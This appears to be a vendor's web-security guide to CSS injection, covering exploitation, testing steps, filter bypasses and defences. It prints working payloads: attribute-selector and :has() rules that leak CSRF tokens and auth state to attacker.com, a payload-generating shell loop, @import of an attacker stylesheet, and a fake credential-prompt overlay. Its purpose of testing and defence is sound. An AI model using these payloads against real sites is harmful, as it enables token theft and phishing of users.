CSS Injection: Data Exfiltration, Style Hijacking, and How to Test for It
CSS injection is one of the most underrated client-side vulnerabilities in modern web security. Unlike JavaScript injection (XSS), which browsers increasingly constrain with Content Security Policy, CSS injection can exfiltrate data, steal CSRF tokens, and manipulate UI elements — often without triggering any script execution. That makes it dangerous precisely when developers believe they've eliminated script injection risks.
This guide covers what CSS injection actually achieves in practice, how attackers exploit it, and how to test for it systematically.
What Is CSS Injection?
CSS injection occurs when attacker-controlled data is reflected into a <style> block, an inline style attribute, or a CSS file without proper escaping. The injected CSS runs in the context of the victim's browser session, with access to the same DOM the legitimate stylesheet sees.
Unlike XSS, CSS injection doesn't execute JavaScript. But it can:
- Exfiltrate attribute values (CSRF tokens, hidden inputs, API keys in data attributes) via CSS
url()selectors that trigger HTTP requests - Leak page content character by character using CSS attribute selectors combined with background-image requests
- Hide legitimate UI elements and overlay attacker-controlled content (phishing)
- Intercept keypresses in some older browser configurations using
:has()and input selectors - Bypass CSP policies that block scripts but allow CSS from the same origin
CSS Attribute Selector Exfiltration
The most powerful CSS injection technique uses CSS attribute selectors combined with background-image: url() to send HTTP requests to attacker-controlled servers when specific attribute values match.
How It Works
CSS can select elements based on attribute values using substring matchers:
input[name="csrf_token"][value^="a"] { background: url(https://attacker.com/exfil?c=a); }
input[name="csrf_token"][value^="b"] { background: url(https://attacker.com/exfil?c=b); }
/* ... one rule per character ... */
When the browser renders this CSS, it evaluates each rule. If a hidden input named csrf_token has a value starting with "a", the browser loads https://attacker.com/exfil?c=a. The attacker's server logs the request and knows the first character is "a". Repeat for the second character using [value^="ab"], and so on — iteratively reconstructing the token character by character.
Generating the Exfiltration Payload
Manual character-by-character exfiltration is slow but proves exploitability. Tools like CSS Exfil Protection and custom scripts can automate the payload generation:
# Generate CSS exfiltration payload for a 40-char CSRF token
# Attacker controls: https://attacker.com/log?val=
charset="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_"
prefix=""
for char in $charset; do
echo "input[name=csrf][value^=\"${prefix}${char}\"] { background: url(https://attacker.com/log?val=${prefix}${char}); }"
done
Modern CSS :has() Extensions
The CSS :has() pseudo-class (now broadly supported) extends exfiltration beyond attribute values to structural DOM relationships:
/* Exfiltrate whether an admin menu exists */
body:has(#admin-panel) { background: url(https://attacker.com/log?admin=true); }
/* Detect auth state */
body:has(a[href="/logout"]) { background: url(https://attacker.com/log?auth=true); }
This allows fingerprinting of the user's auth state, role, and feature flags purely via CSS — useful for targeted phishing preparation.
Style Hijacking and UI Redressing
CSS injection doesn't require data exfiltration to be impactful. Injecting CSS that hides legitimate UI and overlays attacker-controlled content is a form of UI redressing distinct from clickjacking.
Hiding Legitimate Content
/* Hide the real login form */
form#login { display: none !important; }
/* Display a fake message */
body::before {
content: "Session expired. Re-enter your credentials below.";
display: block;
font-size: 18px;
color: red;
padding: 20px;
}
Combined with an attacker-controlled iframe or absolute-positioned overlay, this creates a convincing phishing flow inside a legitimate domain — defeating browser warnings about untrusted sites.
CSS Keylogging (Historical and Limited)
CSS keyloggers using :active and :focus combined with background requests were demonstrated in older browsers. Modern browsers have largely patched these via asynchronous rendering, but variants using animation and content properties still appear in CTF contexts. Test in older browser versions or via headless browsers with older rendering engines when doing thorough assessments.
Where CSS Injection Occurs
| Injection Point | Example | Notes |
|---|---|---|
| Reflected style blocks | User theme color reflected into <style> |
Most common; often in profile customization |
| Inline style attributes | <div style="color: {user_input}"> |
Limited to element scope but still dangerous |
| User-controlled CSS files | Custom theme upload, CSS-in-JS with unsanitized props | Full stylesheet injection |
| CSS-in-JS libraries | Styled-components, Emotion with user data | Often overlooked in code review |
| Import directives | @import url(https://attacker.com/evil.css) |
Loads external attacker stylesheet |
Testing Methodology
Step 1: Identify Injection Points
Look for any user-controlled data that appears inside CSS context:
- View source: search for user input values inside
<style>tags orstyle=""attributes - Profile customization fields (avatar color, theme, font preference)
- URL parameters reflected into stylesheets (e.g.,
?color=red→color: red) - User-supplied class names or element IDs that appear in dynamically generated CSS
- Custom embed or widget configuration that allows CSS overrides
Step 2: Test for Breakout
Attempt to inject valid CSS syntax and observe whether it renders. Test payloads:
# For inline style attribute injection (breaking out of value context)
; color: red
} body { background: red; } .x {
# For style block injection
* { background: red !important; }
@import url(https://attacker.com/evil.css);
# Test if quotes are needed
color: red; background: url(https://attacker.com/probe)
# URL-encoded variants (for injection via query parameters)
%7D%20body%20%7B%20background%3A%20red%20%7D%20.x%7B
Step 3: Attempt Exfiltration
Set up a request logging endpoint (Burp Collaborator, interact.sh, or a simple netcat listener) and inject CSS that makes requests to it:
# Test exfiltration via background-image (triggers HTTP request)
* { background: url(https://YOUR_COLLABORATOR_HOST/css-inject-probe); }
# Test attribute selector exfiltration against a known input
input[name="csrf"][value^="a"] {
background: url(https://YOUR_COLLABORATOR_HOST/exfil?c=a);
}
If you receive an HTTP request to your collaborator, CSS injection is confirmed and exfiltration is viable.
Step 4: Test CSP Interaction
CSS injection often bypasses script-blocking CSP. Check the Content-Security-Policy header:
- If
script-src 'none'but nostyle-srcrestriction, injected CSS can useurl()freely - If
style-src 'self', check whether injected styles are reflected inline (bypassing the CSPstyle-src) - If
connect-srcis restricted butstyle-srcis not, CSSbackground: url()may still make requests (CSS loads bypassconnect-srcin some browsers, governed byimg-srcinstead) - Test
@importto load external stylesheets — blocked by a properstyle-srcwithout wildcards
Step 5: Test CSS-in-JS Frameworks
React applications using styled-components or @emotion/styled may pass user-controlled props directly into CSS template literals:
// Vulnerable pattern
const Box = styled.div`
background-color: ${props => props.color};
`;
// <Box color={userInput} /> — if userInput is unsanitized:
// userInput = "red; background: url(https://attacker.com/probe)"
Test these by inspecting rendered <style> tags in the DOM and looking for user-controlled values. Modern versions of styled-components sanitize some property values, but complex props remain risky.
Bypassing CSS Injection Filters
Applications often attempt to filter injection but leave gaps:
- Case variation:
URL(),Url(),\75rl()(CSS hex escapes) - CSS comments:
ba/**/ckground: url()(comments ignored in property names) - Unicode escapes:
\62ackground(hex-encoded property names) - Newlines: inject newline characters to break out of single-line filtering
- Expression (IE legacy):
expression(alert(1))— works only on very old IE
Defensive Measures and Verification
Verify that the application correctly implements:
- Context-aware escaping: CSS context requires different escaping than HTML context. Libraries like DOMPurify sanitize HTML but not raw CSS values — use a CSS-specific sanitizer.
- CSP
style-src: restrict to'self'or specific nonces. Avoid'unsafe-inline'. - CSP
img-src: restricting this blocks theurl()-based exfiltration channel even if CSS injection succeeds. - Input validation: color fields should accept only
#RRGGBBformat; reject everything else server-side. - Avoid reflecting user data into stylesheets: use CSS custom properties (variables) set via JavaScript instead of server-side template interpolation.
CSS Injection Testing Checklist
- Identify all user-controlled values that appear inside
<style>blocks orstyle=""attributes - Test breakout via
},;, and newline injection - Confirm exfiltration capability with a Collaborator/OOB probe via
background: url() - Test attribute selector exfiltration targeting CSRF tokens and hidden inputs
- Test
@importinjection to load external stylesheets - Evaluate CSP policy — check whether
img-srcblocks the exfiltration channel - Test CSS-in-JS libraries for unsafe prop interpolation
- Test URL parameters that are reflected into CSS contexts
- Verify that filter bypasses (case, unicode escapes, comments) are blocked
- Check that CSP style-src prevents inline style injection
Ironimo scans web applications with the same tooling professional pentesters use — including client-side injection detection across CSS, HTML, and JavaScript contexts. No scanner configuration required.
Start free scan